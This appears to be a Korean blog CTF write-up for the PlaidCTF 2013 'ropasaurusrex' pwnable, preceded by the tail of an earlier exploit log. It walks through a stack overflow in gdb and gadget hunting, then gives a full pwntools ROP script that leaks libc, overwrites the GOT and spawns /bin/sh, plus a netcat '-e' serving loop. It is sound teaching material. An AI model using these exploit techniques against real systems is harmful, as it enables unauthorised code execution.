3) Nom nom r0p buffer to stack
4) Exit
:
[*] Enter symbol: 
[recv] Symbol system: 0x00007F433E785640

[*] System Addr split : 0x7F433E785640
[*] calc - libc_base : 0x7F433E73F000
[*] Payload : AAAAAAAA\x81\xb5v>C\x7f\x00\x00ۼ\x8b>C\x7f\x00\x00@Vx>C\x7f\x00\x00
[*] Switching to interactive mode
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Exiting.
$ id
uid=1000(babyhack) gid=1000(babyhack) groups=1000(babyhack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
$ 

 

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[pwntools] 함수 offset 계산 방법  (0) 2016.07.21
[defcon 24 - 2016] Reversing - baby-re  (0) 2016.05.24
[pcf2013] ropasaurusrex  (0) 2016.05.11
반응형

 

https://github.com/isislab/CTF-Challenges/tree/master/pctf2013/pwnable/ropasaurusrex 

 

1. disassemble

[asm]

.text:0804841D                               ; int __cdecl main(int, char **, char **)
.text:0804841D                               main            proc near               ; DATA XREF: start+17o
.text:0804841D 55                                            push    ebp
.text:0804841E 89 E5                                         mov     ebp, esp
.text:08048420 83 E4 F0                                      and     esp, 0FFFFFFF0h
.text:08048423 83 EC 10                                      sub     esp, 10h
.text:08048426 E8 C9 FF FF FF                                call    sub_80483F4
.text:0804842B C7 44 24 08 04 00 00 00                       mov     dword ptr [esp+8], 4 ; n
.text:08048433 C7 44 24 04 10 85 04 08                       mov     dword ptr [esp+4], offset aWin ; "WIN\n"
.text:0804843B C7 04 24 01 00 00 00                          mov     dword ptr [esp], 1 ; fd
.text:08048442 E8 C5 FE FF FF                                call    _write
.text:08048447 C9                                            leave
.text:08048448 C3                                            retn
.text:08048448                               main            endp

 

[psuedo]

int __cdecl main()
{
  sub_80483F4();
  return write(1, "WIN\n", 4u);

 

2. sub_80483F4()

[asm]

.text:080483F4                               sub_80483F4     proc near               ; CODE XREF: main+9p
.text:080483F4
.text:080483F4                               buf             = byte ptr -88h
.text:080483F4
.text:080483F4 55                                            push    ebp
.text:080483F5 89 E5                                         mov     ebp, esp
.text:080483F7 81 EC 98 00 00 00                             sub     esp, 98h
.text:080483FD C7 44 24 08 00 01 00 00                       mov     dword ptr [esp+8], 100h ; nbytes
.text:08048405 8D 85 78 FF FF FF                             lea     eax, [ebp+buf]
.text:0804840B 89 44 24 04                                   mov     [esp+4], eax    ; buf
.text:0804840F C7 04 24 00 00 00 00                          mov     dword ptr [esp], 0 ; fd
.text:08048416 E8 11 FF FF FF                                call    _read
.text:0804841B C9                                            leave
.text:0804841C C3                                            retn
.text:0804841C                               sub_80483F4     endp

[psuedo]

ssize_t sub_80483F4()
{
  char buf; // [esp+10h] [ebp-88h]@1

  return read(0, &buf, 0x100u);
}

 

3. command

[babyhack@localhost pcf2013]$ (python -c 'print "a"*138';cat) | ./vul
WIN

세그멘테이션 오류 (core dumped)
[babyhack@localhost pcf2013]$ (python -c 'print "a"*139';cat) | ./vul
WIN

세그멘테이션 오류 (core dumped)
[babyhack@localhost pcf2013]$ (python -c 'print "a"*140';cat) | ./vul

세그멘테이션 오류 (core dumped)
[babyhack@localhost pcf2013]$

 

4. 파일 속성 확인

 

http://www.trapkit.de/tools/checksec.html

 

babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$ ../../checksec.sh --file vul
RELRO           STACK CANARY      NX               PIE             RPATH        RUNPATH        FILE
No RELRO      No canary found     NX enabled    No PIE        No RPATH   No RUNPATH   vul
babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$  

 

NX(No Excutable)가 활성화 되어 있습니다.

 

NX란 메모리 보호 기법 중 하나로, 메모리 페이지의 권한을 write권한과 execute권한을 동시에 갖지 않도록 설정하는 것이다. 예를 들어 지역변수에 입력을 받을 때 overflow가 발생하는 바이너리가 있다고 하자. 만약 NX가 활성화되어있지 않다면 지역변수 메모리에 쉘코드를 넣고 ret addr를 쉘코드를 가리키게 하여 쉘코드를 실행시키는 것이 가능하다. 하지만 NX가 활성화되어있다면 메모리에 execute 권한이 없으므로 쉘코드를 실행시킬 수 없다.

 

 

5. gdb 활용한 분석

disas main 하였을 때 아래와 같이 나올 경우 

(gdb) disas main
No symbol table is loaded.  Use the "file" command. 

 

다음과 같이 file 정보를 확인 하고 .text 섹션을 분석합니다.

[babyhack@localhost pcf2013]$ gdb -q vul
Reading symbols from vul...(no debugging symbols found)...done.
(gdb) info file
Symbols from "/tmp/pwnable/pcf2013/vul".
Local exec file:
 `/tmp/pwnable/pcf2013/vul', file type elf32-i386.
 Entry point: 0x8048340
 0x08048114 - 0x08048127 is .interp
 0x08048128 - 0x08048148 is .note.ABI-tag
 0x08048148 - 0x0804816c is .note.gnu.build-id
 0x0804816c - 0x08048198 is .hash
 0x08048198 - 0x080481b8 is .gnu.hash
 0x080481b8 - 0x08048218 is .dynsym
 0x08048218 - 0x08048268 is .dynstr
 0x08048268 - 0x08048274 is .gnu.version
 0x08048274 - 0x08048294 is .gnu.version_r
 0x08048294 - 0x0804829c is .rel.dyn
 0x0804829c - 0x080482bc is .rel.plt
 0x080482bc - 0x080482ec is .init
 0x080482ec - 0x0804833c is .plt
 0x08048340 - 0x080484ec is .text
 0x080484ec - 0x08048508 is .fini
 0x08048508 - 0x08048515 is .rodata
 ..........................................

 

(gdb) disas 0x08048340, 0x080484ec
Dump of assembler code from 0x8048340 to 0x80484ec:
   0x08048340: xor    %ebp,%ebp
   0x08048342: pop    %esi
   0x08048343: mov    %esp,%ecx
   0x08048345: and    $0xfffffff0,%esp
   0x08048348: push   %eax
   0x08048349: push   %esp
   0x0804834a: push   %edx
   0x0804834b: push   $0x8048450
   0x08048350: push   $0x8048460
   0x08048355: push   %ecx
   0x08048356: push   %esi
   0x08048357: push   $0x804841d   <-- main 시작 주소
   0x0804835c: call   0x804831c <
__libc_start_main@plt>
..........................

 

(gdb) disas 0x0804841d, 0x0806841d
Dump of assembler code from 0x804841d to 0x806841d:
   0x0804841d: push   %ebp
   0x0804841e: mov    %esp,%ebp
   0x08048420: and    $0xfffffff0,%esp
   0x08048423: sub    $0x10,%esp
   0x08048426: call   0x80483f4
   0x0804842b: movl   $0x4,0x8(%esp)
   0x08048433: movl   $0x8048510,0x4(%esp)    <- "WIN" 문자열 있는 주소
   0x0804843b: movl   $0x1,(%esp)
   0x08048442: call   0x804830c <write@plt>
   0x08048447: leave 
   0x08048448: ret   
   0x08048449: nop
   0x0804844a: nop

.......................

(gdb) x/s 0x08048510
0x8048510: "WIN\n"
(gdb)

 

main 코드를 찾았습니다. ida를 통하여 확인한 내용과 동일 함을 알 수 있습니다.

 

(gdb) disas 0x80483f4, 0x80583f4
Dump of assembler code from 0x80483f4 to 0x80583f4:
   0x080483f4: push   %ebp
   0x080483f5: mov    %esp,%ebp
   0x080483f7: sub    $0x98,%esp                <-- REP 위치 크기
   0x080483fd: movl   $0x100,0x8(%esp)
   0x08048405: lea    -0x88(%ebp),%eax     <-- stack 크기
   0x0804840b: mov    %eax,0x4(%esp)
   0x0804840f: movl   $0x0,(%esp)
   0x08048416: call   0x804832c <read@plt>
   0x0804841b: leave 
   0x0804841c: ret   
 .................

 

메모리 구조

[buff - 0x88(136 byte)] + [ebp - 0x04(4 byte)] + [eip - 0x4(4 byte)]

 

5. Register 확인

 

(gdb) info reg
eax            0xbffff040 -1073745856
ecx            0xbf612fd7 -1084149801
edx            0xbffff114 -1073745644
ebx            0x0 0
esp            0xbffff030 0xbffff030
ebp            0xbffff0c8 0xbffff0c8
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x804840b 0x804840b
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51 

 

 

[bof 검증 진행]

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaccccdddd

 

a * [136] -- stack

c * [4] -- ebp

d * [4] -- eip

 

0x64646464 in ?? ()
(gdb) info reg
eax            0x95 149
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff0d0 0xbffff0d0
ebp            0x63636363 0x63636363
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x64646464 0x64646464
eflags         0x10203 [ CF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

 

(gdb) b *0x0804841b
Breakpoint 1 at 0x804841b
(gdb) r
Starting program: /tmp/pwnable/pcf2013/vul
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.22-3.fc23.i686
aaaaaaaaaaa

Breakpoint 1, 0x0804841b in ?? ()
(gdb) info reg
eax            0xc 12
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff030 0xbffff030
ebp            0xbffff0c8 0xbffff0c8
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x804841b 0x804841b
eflags         0x203 [ CF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/80wx $esp
0xbffff030: 0x00000000 0xbffff040 0x00000100 0x00000001
0xbffff040: 0x61616161 0x61616161 0x0a616161 0xb7fff8f8

              --------------

                 buff 시작
0xbffff050: 0x00000000 0x00000009 0x000000c2 0x02c0003f
0xbffff060: 0x00000000 0x00f0b0ff 0xbffff09a 0x00000000
0xbffff070: 0xb7ffefc4 0xb7fff8f8 0xbffff01d 0x08048246

                                           ----------- --------------

                                                esp         eip
0xbffff080: 0xb7fd93d0 0xbffff124 0x00000001 0xb7eef277
0xbffff090: 0xffffffff 0x0000002f 0xb7e03ce4 0xb7fd93d0
0xbffff0a0: 0x00008000 0x08049604 0xbffff0b8 0x080482e8
0xbffff0b0: 0x00000001 0x08049604 0xbffff0e8 0x08048479
0xbffff0c0: 0x00000001 0xb7fc0000 0xbffff0e8 0x0804842b
0xbffff0d0: 0xb7fc03dc 0xb7fff8f8 0x0804846b 0x00000000
0xbffff0e0: 0x00000001 0xb7fc0000 0x00000000 0xb7e0f545
0xbffff0f0: 0x00000001 0xbffff184 0xbffff18c 0x00000000
0xbffff100: 0x00000000 0x00000000 0xb7fc0000 0xb7fffbe4
0xbffff110: 0x08048218 0x00000000 0x00000001 0xb7fc0000
0xbffff120: 0x00000000 0xccb09826 0xf2bb7236 0x00000000
0xbffff130: 0x00000000 0x00000000 0x00000001 0x08048340
0xbffff140: 0x00000000 0xb7ff2910 0xb7fec920 0xb7ffefc4
0xbffff150: 0x00000001 0x08048340 0x00000000 0x08048361
0xbffff160: 0x0804841d 0x00000001 0xbffff184 0x08048460
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/pwnable/pcf2013/vul
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x0804841b in ?? ()
(gdb) x/80wx $esp
0xbffff030: 0x00000000 0xbffff040 0x00000100 0x00000001
0xbffff040: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff050: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff060: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff070: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff080: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff090: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0a0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0b0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0c0: 0x61616161 0xb7fc000a 0xbffff0e8 0x0804842b
                                              ----------- --------------

                                                  ebp         ret

0xbffff0d0: 0xb7fc03dc 0xb7fff8f8 0x0804846b 0x00000000
0xbffff0e0: 0x00000001 0xb7fc0000 0x00000000 0xb7e0f545
0xbffff0f0: 0x00000001 0xbffff184 0xbffff18c 0x00000000
0xbffff100: 0x00000000 0x00000000 0xb7fc0000 0xb7fffbe4
0xbffff110: 0x08048218 0x00000000 0x00000001 0xb7fc0000
0xbffff120: 0x00000000 0x043625c7 0x3a3dcfd7 0x00000000
0xbffff130: 0x00000000 0x00000000 0x00000001 0x08048340
0xbffff140: 0x00000000 0xb7ff2910 0xb7fec920 0xb7ffefc4
0xbffff150: 0x00000001 0x08048340 0x00000000 0x08048361
0xbffff160: 0x0804841d 0x00000001 0xbffff184 0x08048460
(gdb) info reg
eax            0x85 133   <-- 입력한 문자 수
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff030 0xbffff030
ebp            0xbffff0c8 0xbffff0c8
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x804841b 0x804841b
eflags         0x207 [ CF PF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/pwnable/pcf2013/vul
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc

Breakpoint 1, 0x0804841b in ?? ()
(gdb) x/80wx $esp
0xbffff030: 0x00000000 0xbffff040 0x00000100 0x00000001
0xbffff040: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff050: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff060: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff070: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff080: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff090: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0a0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0b0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff0c0: 0x61616161 0x62626262 0x63636363 0x0804840a

                                               ------------- -------------

                                                    ebp          ret
0xbffff0d0: 0xb7fc03dc 0xb7fff8f8 0x0804846b 0x00000000
0xbffff0e0: 0x00000001 0xb7fc0000 0x00000000 0xb7e0f545
0xbffff0f0: 0x00000001 0xbffff184 0xbffff18c 0x00000000
0xbffff100: 0x00000000 0x00000000 0xb7fc0000 0xb7fffbe4
0xbffff110: 0x08048218 0x00000000 0x00000001 0xb7fc0000
0xbffff120: 0x00000000 0x1bba14b9 0x25b1fea9 0x00000000
0xbffff130: 0x00000000 0x00000000 0x00000001 0x08048340
0xbffff140: 0x00000000 0xb7ff2910 0xb7fec920 0xb7ffefc4
0xbffff150: 0x00000001 0x08048340 0x00000000 0x08048361
0xbffff160: 0x0804841d 0x00000001 0xbffff184 0x08048460
(gdb) info reg
eax            0x8d 141
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff030 0xbffff030
ebp            0xbffff0c8 0xbffff0c8
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x804841b 0x804841b
eflags         0x203 [ CF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

(gdb) x/s $ebp
0xbffff0c8: "cccc\n\204\004\b\334\003\374\267\370\370\377\267k\204\004\b"

(gdb) b *0x0804842b
Breakpoint 1 at 0x804842b
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/pwnable/pcf2013/vul
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) info reg
eax            0x91 145
ecx            0xbffff040 -1073745856
edx            0x100 256
ebx            0x0 0
esp            0xbffff0d0 0xbffff0d0
ebp            0x63636363 0x63636363
esi            0x1 1
edi            0xb7fc0000 -1208221696
eip            0x41414141 0x41414141
eflags         0x10207 [ CF PF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb)

 

이젠 공격 버퍼를 만들 수 있습니다.

 

[pwntools - install]

 

1. apt-get install python, python-dev, python-pip

2. apt-get url add

   - vi /etc/apt/sources.list

   - "deb http://us.archive.ubuntu.com/ubuntu vivid main universe"

3. apt-get install libcapstone-dev (python2.7-dev 설치시 따로 설치 안해 됨.)

4. pip install pwntools

 

문제 서버로 돌리기

※ nc-openbsd의 경우 -e 기능이 없으므로, traditional 버전을 설치 해야 합니다.

-->> $ sudo apt-get install netcat-traditional

 

--> apt-get install netcat-traditional

$ while true; do nc -vv -l -p 1234 -e ./vul; done
listening on [any] 1234 ... 

 

 

이제 exploit을 만들어 봅시다. overflow 발생한 지점을 확인 하였기 때문에

exploit을 짜면 됩니다. exploit을 짜기 위해서는 우선 구성을 해야 합니다.

 

1. 호출 할 명령어 작성("sh", "cat /etc/passwd", "cat flag", etc)

2. 명령어 실행 시킬 방법 구상 ("system", "exec", "execl", "execv", etc)

 

우리는 우선 명령어를 쓸 메모리를 찾아 봐야합니다.

찾기 위해서는 objdump 명령어를 활용하여 메모리 속성과 크기를 확인 하는 것이 좋습니다.

 

objdump -x vul

vul:     file format elf32-i386
vul
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08048340

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x000000e0 memsz 0x000000e0 flags r-x
  INTERP off    0x00000114 vaddr 0x08048114 paddr 0x08048114 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x0000051c memsz 0x0000051c flags r-x
    LOAD off    0x0000051c vaddr 0x0804951c paddr 0x0804951c align 2**12
         filesz 0x0000010c memsz 0x00000114 flags rw-
 DYNAMIC off    0x00000530 vaddr 0x08049530 paddr 0x08049530 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000128 vaddr 0x08048128 paddr 0x08048128 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-

Dynamic Section:
  NEEDED               libc.so.6
  INIT                 0x080482bc
  FINI                 0x080484ec
  HASH                 0x0804816c
  GNU_HASH             0x08048198
  STRTAB               0x08048218
  SYMTAB               0x080481b8
  STRSZ                0x00000050
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049604
  PLTRELSZ             0x00000020
  PLTREL               0x00000011
  JMPREL               0x0804829c
  REL                  0x08048294
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048274
  VERNEEDNUM           0x00000001
  VERSYM               0x08048268

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048114  08048114  00000114  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048128  08048128  00000128  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048148  08048148  00000148  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .hash         0000002c  0804816c  0804816c  0000016c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .gnu.hash     00000020  08048198  08048198  00000198  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynsym       00000060  080481b8  080481b8  000001b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .dynstr       00000050  08048218  08048218  00000218  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version  0000000c  08048268  08048268  00000268  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .gnu.version_r 00000020  08048274  08048274  00000274  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.dyn      00000008  08048294  08048294  00000294  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .rel.plt      00000020  0804829c  0804829c  0000029c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 11 .init         00000030  080482bc  080482bc  000002bc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .plt          00000050  080482ec  080482ec  000002ec  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .text         000001ac  08048340  08048340  00000340  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         0000001c  080484ec  080484ec  000004ec  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       0000000d  08048508  08048508  00000508  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame     00000004  08048518  08048518  00000518  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .ctors        00000008  0804951c  0804951c  0000051c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dtors        00000008  08049524  08049524  00000524  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .jcr          00000004  0804952c  0804952c  0000052c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000000d0  08049530  08049530  00000530  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000004  08049600  08049600  00000600  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got.plt      0000001c  08049604  08049604  00000604  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .data         00000008  08049620  08049620  00000620  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .bss          00000008  08049628  08049628  00000628  2**2
                  ALLOC
 25 .comment      0000001c  00000000  00000000  00000628  2**0
                  CONTENTS, READONLY
SYMBOL TABLE:
no symbols 

 

필요한 섹션만 선택 적으로 보기로 하겠습니다.

우선 data, dynamic, 등 data 섹션을 중심으로 보겠습니다.

그 이유는 data 섹션은 쓰기, 읽기 권한이 있기 때문에 명령어를 저장하는데 효과적이기 때문입니다.

 

babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$ objdump -x vul | grep -A1 '\.data'
 23 .data         00000008  08049620  08049620  00000620  2**2
                    CONTENTS,  ALLOC,      LOAD,       DATA
babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$  

 

.data 섹션은 8byte로 작은 사이즈를 가지고 있습니다.

사이즈가 어느정도 확보하고 있는 곳을 찾아 해당 섹션에 명령어를 작성하기로 하겠습니다.

그래서 선택한 섹션은 .dynamic 섹션입니다.

 

babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$ objdump -x vul | grep -A1 '\.dynamic'
 20 .dynamic      000000d0  08049530  08049530  00000530  2**2
                  CONTENTS, ALLOC, LOAD, DATA
babyhack@ubuntu:/tmp/pwnable/pctf2013/ropasaurusrex$  

 

.dynamic 섹션은 0xd0(208byte)를 가지고 있기 때문에 충분히 명령어를 작성할 수 있습니다.

 

이제 명령어를 쓸 수 있는 공간을 확보 하였기 때문에 이제는 호출할 시스템 함수를 찾아 봐야합니다.

코드상에서 문자를 쓰기 위해서는 write(), settext(), etc 등을 활용합니다.

ROP이기 때문에 현재 사용되고 있는 함수의 목록을 추출하여 분석을 진행 해야 합니다.

 

objdump -R vul

vul:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049600 R_386_GLOB_DAT    __gmon_start__
08049610 R_386_JUMP_SLOT   __gmon_start__
08049614 R_386_JUMP_SLOT   write
08049618 R_386_JUMP_SLOT   __libc_start_main
0804961c R_386_JUMP_SLOT   read 

 

objdump -T /lib/i686/cmov/libc.so.6 | grep system
000f5470 g    DF .text 00000042  GLIBC_2.0   svcerr_systemerr
00039450 g    DF .text 0000007d  GLIBC_PRIVATE __libc_system
00039450  w   DF .text 0000007d  GLIBC_2.0   system 

 

이젠 가젯을 찾아야 합니다.

따라서, 가젯을 찾아 주는 프로그램을 구해야 합니다.

rp++ : https://github.com/0vercl0k/rp (※ Linux, windows, iOS 선택적으로 받으세요.)

 ./rp++ -f ./vul -r 4 | grep "pop"
0x080483c1: add al, 0x5B ; pop ebp ; ret  ;  (1 found)
0x080484e6: add al, 0x5B ; pop ebp ; ret  ;  (1 found)
0x080482e6: add byte [eax], al ; pop eax ; pop ebx ; leave  ; ret  ;  (1 found)
0x080484de: add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080483bf: add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080484e4: add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080484b1: fiadd word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080484e3: hlt  ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080483c0: les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (1 found)
0x080484e5: les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (1 found)
0x080484b3: les ebx,  [ebx+ebx*2] ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080483b8: mov byte [0x08049628], 0x00000001 ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x08048451: mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x0804844f: nop  ; push ebp ; mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x080483bd: or byte [ecx], al ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x080482e8: pop eax ; pop ebx ; leave  ; ret  ;  (1 found)
0x080483c3: pop ebp ; ret  ;  (1 found)
0x08048453: pop ebp ; ret  ;  (1 found)
0x080484b8: pop ebp ; ret  ;  (1 found)
0x080484e8: pop ebp ; ret  ;  (1 found)
0x080482e9: pop ebx ; leave  ; ret  ;  (1 found)
0x08048505: pop ebx ; leave  ; ret  ;  (1 found)
0x080483c2: pop ebx ; pop ebp ; ret  ;  (1 found)
0x080484e7: pop ebx ; pop ebp ; ret  ;  (1 found)
0x080484b5: pop ebx ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x08048504: pop ecx ; pop ebx ; leave  ; ret  ;  (1 found)
0x080484b7: pop edi ; pop ebp ; ret  ;  (1 found)
0x080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080484e1: push dword [ebp-0x0C] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret  ;  (1 found)
0x08048450: push ebp ; mov ebp, esp ; pop ebp ; ret  ;  (1 found)
0x080484b4: sbb al, 0x5B ; pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
0x080483ba: sub byte [esi-0x7CFEF7FC], dl ; les eax,  [ebx+ebx*2] ; pop ebp ; ret  ;  (1 found)

 

 

가젯을 찾지 않고 편하게 사용하기 위해서는 pwn 패키지를 활용하면 됩니다.

사용법은 다음과 같습니다.

 

from pwn import *
from struct import *

binsh = "/bin/sh"
# up= lambda x:struct.unpack("<L",x) # L  unsigned long   integer   4   (3)
# little endian format exchange unsgined long type to binary string
up32 = lambda x:struct.unpack('<L',x)[0]

binary = ELF("vul")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
rop = ROP(binary)

print binary.checksec()

read_plt = binary.plt['read']
read_got = binary.got['read']
write_plt = binary.plt['write']
write_got = binary.got['write']

read_system_offset = libc.symbols['read'] - libc.symbols['system']
dynamic_section = 0x08049530

log.info("read@plt : " + str(hex(read_plt)))
log.info("read@got : " + str(hex(read_got)))
log.info("write@plt : " + str(hex(write_plt)))
log.info("write@got : " + str(hex(write_got)))
log.info("read system offset : " + str(hex(read_system_offset)))
log.info("Dynamic section : " + str(hex(dynamic_section)))

 

rop.read(0,dynamic_section,len(str(binsh)))    # 1
rop.write(1,read_got,len(str(read_got)))         # 2
rop.read(0,read_got,len(str(read_got)))         # 3
rop.raw(read_plt)                                    # 4  system 함수 호출
rop.raw(0xaaaabbbb)                              # 5   dummy
rop.raw(dynamic_section)                         # 6  "/bin/sh" 입력

 

payload = "A"*140 + str(rop)
print payload

 

#r = remote("127.0.0.1", 1234)
r = process('./vul')

 

r.send(payload) # overflow # 0
r.recvn(4,timeout=1)

 

r.send(binsh) # 1 code 실행
read = up32(r.recvn(4,timeout=1)) # 2 code 실행  / read_got 주소를 recv

log.info('read address : [%s]' % str(hex(read)))


system_addr = read - read_system_offset  # 시스템 함수 주소 계산

log.info('system_addr : [%s]' % str(hex(system_addr)))

rop = ROP(binary)
rop.raw(system_addr)

r.send(str(rop)) # 3 code 실행 / system 함수를 write
r.interactive()


'''
[*] Loaded cached gadgets for 'vul' @ 0x8048000
RELRO:         No RELRO
Stack Canary:  No canary found
NX:            NX enabled
PIE:           No PIE
RPATH:         No RPATH
RUNPATH:       No RUNPATH
[*] read@plt : 0x804832c
[*] read@got : 0x804961c
[*] write@plt : 0x804830c
